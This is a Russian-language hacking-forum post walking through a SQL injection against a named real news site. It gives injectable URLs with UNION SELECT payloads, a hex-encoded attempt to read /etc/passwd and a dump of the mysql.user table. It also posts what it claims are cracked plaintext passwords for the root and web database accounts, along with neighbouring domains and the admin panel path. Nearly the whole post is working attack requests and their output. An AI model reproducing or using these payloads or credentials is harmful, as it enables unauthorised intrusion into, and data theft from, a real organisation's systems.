ANTICHAT - Показать сообщение отдельно

Duke News
http://dukemednews.duke.edu

Сама скуля:

Код:

http://dukemednews.duke.edu/news/article.php?id=6041+and+1=0

Выводим столбцы:

Код:

http://dukemednews.duke.edu/news/article.php?id=6041+and+1=0+UNION+SELECT+1,2,3,4/*

//будут в самом низу справа

Выводим имя_пользователя:версию_бд: имя_бд:

Код:

http://dukemednews.duke.edu/news/article.php?id=6041+and+1=0+UNION+SELECT+1,2,concat_ws(0x3a,user(),version(),database()),4/*

web@vml-news.duhs.duke.edu:4.0.18:news

File_priv выкл:

Код:

http://dukemednews.duke.edu/news/article.php?id=6041+and+1=0+UNION+SELECT+1,2,load_file(0x2F6574632F706173737764),4/*

Есть доступ в mysql.user

Код:

http://dukemednews.duke.edu/news/article.php?id=6041+and+1=0+UNION+SELECT+1,2,concat_ws(0x3a,user,password),4+from+mysql.user/*

Специально для вас расшифровал

Код:

mnogosearch:0547d8b07eba42f3:gh34mx92
root:623460e26f081bbc:mt01du01
web:761b2fc844890384:fr56nv29

Соседствующие сайты:

Код:

1) news.mc.duke.edu
2) dukemednews.duke.edu
3) dukemednews.com
4) dukemednews.org

админка:

Код:

http://dukemednews.duke.edu/admin

Пока все